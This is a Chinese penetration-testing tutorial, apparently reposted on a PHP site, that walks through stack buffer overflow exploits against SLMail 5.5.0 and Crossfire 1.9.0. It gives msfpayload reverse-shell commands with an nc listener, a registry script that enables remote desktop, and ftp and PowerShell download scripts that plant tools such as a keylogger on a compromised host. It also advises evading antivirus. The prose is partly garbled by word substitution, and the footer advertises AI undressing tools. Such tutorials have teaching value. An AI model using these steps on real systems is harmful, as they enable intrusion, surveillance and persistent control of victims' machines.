搜索
首页系统教程LINUXLinux渗透测试教程:手把手教你栈溢出从入门到放弃

笔记内容参考安全牛课堂苑房弘老师的KaliLinux渗透测试教程

所有漏洞的症结均来自于数据的输入,缓冲区溢出的原理在于数据与代码边界模糊,当缓冲区边界限制不严格时,因为变量传入畸形数据或程序运行错误,致使缓冲区被“撑暴”,进而覆盖了相邻显存区域的数据,成功更改显存数据,可导致进程绑架,执行恶意代码,获取服务器控制权等后果。

为更好理解缓冲区溢出原理,参考笔者转载的文章:

手把手教你栈溢出从入门到舍弃(上)

手把手教你栈溢出从入门到舍弃(下)

文章目录

一、发现漏洞的方式(一)源码审计

软件开发人员,或则借助社工等方法获取源码进行审查、调试。条件严苛,通常源码无法获取。

(二)逆向工程(ReverseEngineering)

借助逆向工程获取汇编源码进行剖析,汇编代码剖析工作量大,难度高。

linux防缓冲区溢出_缓冲区溢出代码例子_缓冲区溢出shellcode

(三)模糊测试(Fuzzing)

是一种通过向目标系统提供非预期的输入并监视异常结果来发觉软件漏洞的方式,一般情况下会使用一个有效的输入和添加随机偏差来完成,须要利用软件调试工具(如:ImmunityDebugger)。

二、模糊测试过程

首先要了解一些针对缓冲区溢出的安全保护技术,由于在模糊测试过程中要避开这种保护机制。

(一)Windows

测试软件为’SLMail5.5.0MailServer’,其PASS命令存在缓冲区溢出漏洞。基本思路:(调试工具用ImmunityDebugger)

1.借助python脚本测试PASS命令接收到大量数据时是否会溢出,通常到3000个字符尚未出现溢出现象则说明该处应当不存在溢出漏洞。

2.发觉溢出漏洞后,判定EIP对应的地址,基本方式有:二分法、唯一字符串法。惟一字符串法可以借助metasploit脚本usr/share/metasploit-framework/tools/pattern_create.rb3000生成。

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

3.将EIP更改为Shellcode对应的显存地址,将Shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到shellcode代码段并执行。

4.通过调试工具发觉,发送的数据填充EIP后,紧接着会填充ESP指向的空间,因而我们将Shellcode放在ESP的位置。

5.判定ESP地址到栈底的距离linux防缓冲区溢出,即可以储存Shellcode的大小。借助python脚本向软件发送数据测试,通过调试软件看有多少数据储存在ESP指向的空间。现代计算机系统进程的显存空间视图如图所示:

图1进程的显存空间视图

6.由于ASLR机制,软件每次运行函数调用栈的地址是随机变化的,因而硬编码不可行,变通思路在显存中找寻地址固定的系统模块,在模块中找寻JMPESP指令的地址跳转,再由该指令间接跳转到ESP,进而执行shellcode,借助mona.py脚本辨识显存模块,搜索“returnaddress”是JMPESP指令的模块,找寻不受DEP、ASLR机制保护的系统模块!monamodules,借助/usr/share/metasploit-framework/tools/nasm_shell.rb将汇编指令jmpesp转换为二补码为FFE4,在模块中搜索FFE4指令!monafind-s“xffxe4”-mslmfc.dll,找到指令所在地址后,将该地址填入EIPlinux版qq,构造Shellcode,且去除坏字符:/msfpayloadwin32_reverseLHOST=192.168.20.8LPORT=443R|./msfencode-b“x00x0ax0d

注:构造Shellcode时选择的payload是reverse反向联接,而不是直连bind,这样可以避免防火墙的封堵策略。

7.最后开启端口窃听nc-vlp443,Shellcode执行结束后以ExitProcess方法退出整个进程,将造成短信服务崩溃,Slmail是一个基于线程的应用,适用ExitThread方法可以防止整个服务崩溃,可实现重复溢出:/msfpayloadwin32_reverseLHOST=192.168.20.8EXITFUNC=threadLPORT=443R|./msfencode-b“x00x0ax0d”

注:不同类型的程序、协议、漏洞,会将个别字符觉得是坏字符,那些字符有固定用途,因而返回地址、Shellcode、buffer中都不能出现坏字符。发送0x00—0xff256个字符,查找所有坏字符。借助metasploit脚本./msfencode可以编码坏字符。

8.假如要进一步控制功击目标,可以通过更改注册表开启远程桌面,Windows中90%以上的配置都可以通过更改注册表完成:

<span class="token function">echo</span> Windows Registry Editor Version 5<span class="token punctuation">.</span>00>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
Server]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"fDenyTSConnections"</span>=dword:00000000>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWdsrdpwdTdstcp]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWinStationsRDP-Tcp]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg
regedit <span class="token operator">/</span>s 3389<span class="token punctuation">.</span>reg

(二)Linux

测试软件为’Crossfire’,1.9.0在接受入站socket联接时存在缓存区溢出漏洞。基本思路同WindowsFuzzing(调试工具用edb),不再赘言,需注意以下几点:

1.调试命令:edb--run/usr/games/crossfire/bin/crossfire

2.在验证缓冲区溢出时发觉只有当payload固定4368字节时能够确切覆盖EIP的值,这样ESP指向的空间只剩下7个字节,不足以放下Shellcode,因而在edb中查找可以被数据完全覆盖的寄存器,找到EAX,于是变通思路ESP跳转到EAX执行Shellcode。

三、选择和更改EXP

网上有针对各类软件早已公布漏洞的借助代码(EXP),我们可以选择可信赖的EXP源,在此基础上进行研究或更改,尤其是Shellcode不能轻易使用linux防缓冲区溢出,有可能带有病毒linux系统应用,须要把握的编程语言一般包括Python、C、C++、Ruby等。几个可靠的EXP源:

领到EXP后,须要注意以下几点:

四、后漏洞借助阶段

包括上传工具、提权、擦除功击痕迹、安装侧门等进一步操作,这儿仅讨论文件上传操作,文件上传是预置木马、安装侧门的基础,主要依据早已取得的目标操作系统的shell,进行文件上传操作。

(一)Windows

首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:

1.Linux端:配置ftp服务

登陆FTP有三种形式:

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span>
vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span>
<span class="token comment">#添加配置</span>
local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span>
<span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span>
<span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span>
chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span>
chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span>
chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list
<span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span>
userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span>
userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span>
<span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span>
<span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span>
<span class="token function">mkdir</span> /home/ftpduser
<span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1
<span class="token function">service</span> vsftpd start

2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置

(1)使用ftp传输文件

由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。

<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt
ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt

(2)使用powershell传输文件

<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span>
<span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient
<span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span>
<span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span>
<span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span>
powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1

(二)Linux

借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。

注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。

以上是Linux渗透测试教程:手把手教你栈溢出从入门到放弃的详细内容。更多信息请关注PHP中文网其他相关文章!

声明
本文转载于:ITcool。如有侵权,请联系admin@php.cn删除
Linux软件的未来:Flatpak和Snap会替换本机桌面应用程序吗?Linux软件的未来:Flatpak和Snap会替换本机桌面应用程序吗?Apr 25, 2025 am 09:10 AM

多年来,Linux软件分布依赖于DEB和RPM等本地格式,并深深地根深蒂固。 但是,Flatpak和Snap已经出现,有望成为应用程序包装的通用方法。 本文考试

Linux和Windows处理设备驱动程序的区别有什么区别?Linux和Windows处理设备驱动程序的区别有什么区别?Apr 25, 2025 am 12:13 AM

Linux和Windows在处理设备驱动程序上的差异主要体现在驱动管理的灵活性和开发环境上。1.Linux采用模块化设计,驱动可以动态加载和卸载,开发者需深入理解内核机制。2.Windows依赖微软生态,驱动需通过WDK开发并签名认证,开发相对复杂但保证了系统的稳定性和安全性。

比较和对比Linux和Windows的安全模型。比较和对比Linux和Windows的安全模型。Apr 24, 2025 am 12:03 AM

Linux和Windows的安全模型各有优势。Linux提供灵活性和可定制性,通过用户权限、文件系统权限和SELinux/AppArmor实现安全。Windows则注重用户友好性,依赖WindowsDefender、UAC、防火墙和BitLocker保障安全。

Linux和Windows之间的硬件兼容性有何不同?Linux和Windows之间的硬件兼容性有何不同?Apr 23, 2025 am 12:15 AM

Linux和Windows在硬件兼容性上不同:Windows有广泛的驱动程序支持,Linux依赖社区和厂商。解决Linux兼容性问题可通过手动编译驱动,如克隆RTL8188EU驱动仓库、编译和安装;Windows用户需管理驱动程序以优化性能。

Linux和Windows之间虚拟化支持有哪些差异?Linux和Windows之间虚拟化支持有哪些差异?Apr 22, 2025 pm 06:09 PM

Linux和Windows在虚拟化支持上的主要区别在于:1)Linux提供KVM和Xen,性能和灵活性突出,适合高定制环境;2)Windows通过Hyper-V支持虚拟化,界面友好,与Microsoft生态系统紧密集成,适合依赖Microsoft软件的企业。

Linux系统管理员的主要任务是什么?Linux系统管理员的主要任务是什么?Apr 19, 2025 am 12:23 AM

Linux系统管理员的主要任务包括系统监控与性能调优、用户管理、软件包管理、安全管理与备份、故障排查与解决、性能优化与最佳实践。1.使用top、htop等工具监控系统性能,并进行调优。2.通过useradd等命令管理用户账户和权限。3.利用apt、yum管理软件包,确保系统更新和安全。4.配置防火墙、监控日志、进行数据备份以确保系统安全。5.通过日志分析和工具使用进行故障排查和解决。6.优化内核参数和应用配置,遵循最佳实践提升系统性能和稳定性。

很难学习Linux吗?很难学习Linux吗?Apr 18, 2025 am 12:23 AM

学习Linux并不难。1.Linux是一个开源操作系统,基于Unix,广泛应用于服务器、嵌入式系统和个人电脑。2.理解文件系统和权限管理是关键,文件系统是层次化的,权限包括读、写和执行。3.包管理系统如apt和dnf使得软件管理方便。4.进程管理通过ps和top命令实现。5.从基本命令如mkdir、cd、touch和nano开始学习,再尝试高级用法如shell脚本和文本处理。6.常见错误如权限问题可以通过sudo和chmod解决。7.性能优化建议包括使用htop监控资源、清理不必要文件和使用sy

See all articles

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热工具

mPDF

mPDF

mPDF是一个PHP库,可以从UTF-8编码的HTML生成PDF文件。原作者Ian Back编写mPDF以从他的网站上“即时”输出PDF文件,并处理不同的语言。与原始脚本如HTML2FPDF相比,它的速度较慢,并且在使用Unicode字体时生成的文件较大,但支持CSS样式等,并进行了大量增强。支持几乎所有语言,包括RTL(阿拉伯语和希伯来语)和CJK(中日韩)。支持嵌套的块级元素(如P、DIV),

SecLists

SecLists

SecLists是最终安全测试人员的伙伴。它是一个包含各种类型列表的集合,这些列表在安全评估过程中经常使用,都在一个地方。SecLists通过方便地提供安全测试人员可能需要的所有列表,帮助提高安全测试的效率和生产力。列表类型包括用户名、密码、URL、模糊测试有效载荷、敏感数据模式、Web shell等等。测试人员只需将此存储库拉到新的测试机上,他就可以访问到所需的每种类型的列表。

VSCode Windows 64位 下载

VSCode Windows 64位 下载

微软推出的免费、功能强大的一款IDE编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

WebStorm Mac版

WebStorm Mac版

好用的JavaScript开发工具